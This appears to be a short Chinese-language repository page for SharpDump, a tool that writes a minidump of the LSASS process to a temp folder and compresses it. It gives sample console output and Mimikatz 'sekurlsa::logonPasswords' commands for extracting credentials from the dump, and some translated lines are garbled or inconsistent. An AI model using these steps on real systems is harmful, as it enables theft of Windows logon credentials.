SharpDump 是 PowerSploit 的 Out-Minidump.ps1 功能的 C# 端口。
SharpDump 是 PowerSploit 的 Out-Minidump.ps1 功能的 C# 端口。使用 MiniDumpWriteDump Win32 API 调用，为指定进程 ID（默认为 LSASS）创建一个 minidump，并将其保存到 C:\Windows\Temp\debug.out 中，使用 GZipStream 压缩 dump 文件到 C:\Windows\Temp\debug.bin（.gz 格式），然后删除原始 minidump 文件。 @harmj0y 是此移植的主要作者。 SharpDump 遵循 BSD 3 条款许可协议。
删除 LSASS: C:\Temp>SharpDump.exe [*] 将 lsass (808) 倒出到 C:\WINDOWS\Temp\debug808.out [+] 备份成功!
[* ] 将 C:\WINDOWS\Temp\debug808.out 压缩为 C:\WINDOWS\Temp\debug808.bin gzip 文件 [* ] 删除 C:\WINDOWS\Temp\debug808.out [+ ] 导出完成。请将文件重命名为 "debug808.gz" 以进行解压缩。 [* ] 操作系统 : Windows 10 Enterprise N [* ] 架构 : AMD64 [* ] 在同一操作系统/架构上使用 "sekurlsa::minidump debug.out" "sekurlsa::logonPasswords full"
[+] 倒出完成。请将文件重命名为 "debug8700.gz" 以进行解压。
暂无开放 Issues，或尚未同步最近议题。